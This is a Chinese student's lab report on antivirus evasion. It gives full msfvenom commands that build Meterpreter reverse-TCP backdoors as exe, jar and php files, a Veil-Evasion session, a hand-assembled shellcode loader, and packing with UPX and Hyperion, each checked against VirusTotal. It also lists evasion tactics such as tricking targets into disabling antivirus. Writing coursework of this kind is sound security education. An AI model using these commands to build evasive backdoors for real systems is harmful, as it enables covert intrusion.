Exp3 免杀原理与实践

20164321 王君陶

1实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2实验步骤

检测工具:

https://www.virustotal.com/

http://www.virscan.org/

首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。

virustotal

virscan

2.1任务一

2.1.1正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded.exe

利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。

利用virustotal扫描

十次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded10.exe

利用virustotal扫描

2.1.2 msfvenom生成jar文件

成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor_java.jar

利用virustotal扫描

2.1.3 msfvenom生成php文件

生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor.php

(前一个问题就是lport前面少一个空格导致生成的0kb文件,不能粗心啊!)

利用virustotal扫描

2.1.4 使用veil-evasion生成后门程序及检测

这里安装veil多次失败,没办法,拷了同学的kail直接进行试验。

输入命令veil

输入use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 192.168.253.128 设置端口:set LPORT 4321

再输入options进行展示修改结果

输入generate生成文件

输入payload的名字:veil_c_4321

按enter继续

利用virustotal扫描

2.1.5 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=4321 -f c用c语言生成一段shellcode

把上面的数组拿来编写一个程序,用vi 4321_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

进入编辑器进行编辑

再用i686-w64-mingw32-g++ 20164321_shellcode.c -o 20164321_shellcode.exe命令生成可执行文件

利用virustotal扫描

实现与杀软共存

生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

2.1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

压缩壳

减少应用体积,如ASPack,UPX

加密壳

版权保护,反跟踪。如ASProtect,Armadillo

虚拟机

通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

2.1.6.1 压缩壳UPX

Kali下输入命令upx 20164321_shellcode.exe -o 20164321_shellcode_upxed.exe

扫描结果

2.1.6.2加密壳Hyperion

进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 20164321_shellcode_upxed.exe 20164321_shellcode_upxed_Hyperion.exe进行加壳

再传出来进行扫描检测

2.2通过组合应用各种技术实现恶意代码免杀

如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存

在windows中点击执行

实现与杀软共存

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

免杀失败QAQ

3基础问题回答

3.1杀软是如何检测出恶意代码的?

基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

3.2免杀是做什么?

免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。

3.3免杀的基本方法有哪些?

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

shellcode(Meterpreter

用encode进行编码 基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接 使用隧道技术 加密通讯数据

操作模式

基于内存操作 减少对系统的修改 加入混淆作用的正常功能

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件

3.4开启杀软能绝对防止电脑中恶意代码吗?

从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的,比如说在VirusTotal或Virscan这两个网站中测试的时候,就发现有很多杀毒软件无法检测出恶意代码,毕竟道高一尺魔高一丈,随着病毒库的不断更新,恶意代码也在不断通过各种方法来使自己免杀,所以说杀软是不能绝对防止电脑中的恶意代码的。

4实验遇到的问题

在这次实验之中遇到的最大问题就是安装不上veil,刚开始因为坑爹的学校网,下载速度极慢,下载完成之后,解压又出现问题,实在没办法,找张哲键同学直接把他完成实验的虚拟机拷过来了,然后才进行的实验。

5实验心得

这次实验让我的最大体会就是腾讯管家是真的辣鸡啊,windows defender和火绒都可以杀掉的恶意代码,腾讯管家就不行,之前还在自己电脑装上了腾讯管家感觉电脑安全万无一失,实际发现这个做法非常之蠢,不如不装杀软,用windows自带的windows defender呢,赶紧卸载一波!。

Exp3 免杀原理与实践 20164321 王君陶的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. sublime text3 配置

    1.在sublime text官网下载安装文件并安装 http://www.sublimetext.com/ 2.安装sublime的package control 参考网址:https://pack ...

  2. C# 类初始化顺序

    C#的类初始化顺序和Java以及C++类初始化顺序是不同的,曾经我被这个问题害惨了.对于C#和Java,其共同点都是先变量后构造函数,先静态后普通 区别在于,C#是子类变量->父类变量-> ...

  3. 把Linq查询返回的var类型的数据 转换为DataTable EF连接查询

    问题:我要获得一个角色下对应的所有用户,需要两表连接查询,虽然返回的只有用户数据,但是我想到若是返回的不只是用户数据,而还要加上角色信息,那么我返回什么类型呢,返回var吗,这样不行. 于是我网上找找 ...

  4. macos安装postman

    安装命令 brew cask install postman brew 是从下载源码解压然后./configure && make install,同时会包含相关依存库.并自动配置 好 ...

  5. laravel-excel文档翻译笔记

    1.安装      1>composer 安装 "maatwebsite/excel": "~2.1.0"      2>app/config/ap ...

  6. [Selenium] jsclick

    SeleniumUtil.jsClick(driver, saveButtonEl);

  7. cubieboard网络设置

    1.1 配置静态ip vi /etc/network/interface auto lo iface lo inet loopback #以下是添加的内如 auto eth0 #iface eth0 ...

  8. Spring+SpringMVC+mybatis+Quartz整合

    Quartz与SpringMVC的整合 简介 Quartz是一个完全由java编写的开源作业调度框架,为在Java应用程序中进行作业调度提供了简单却强大的机制.Quartz允许开发人员根据时间间隔来调 ...

  9. 2018.10.16 spoj Can you answer these queries V(线段树)

    传送门 线段树经典题. 就是让你求左端点在[l1,r1][l1,r1][l1,r1]之间,右端点在[l2,r2][l2,r2][l2,r2]之间且满足l1≤l2,r1≤r2l1\le l2,r1 \l ...

  10. 2018.09.19 atcoder Snuke's Coloring(思维题)

    传送门 谁能想到这道题会写这么久. 本来是一道很sb的题啊. 就是每次选一个点只会影响到周围的九个方格,随便1e9进制就可以hash了,但是我非要作死用stl写. 结果由于技术不够高超,一直调不出来. ...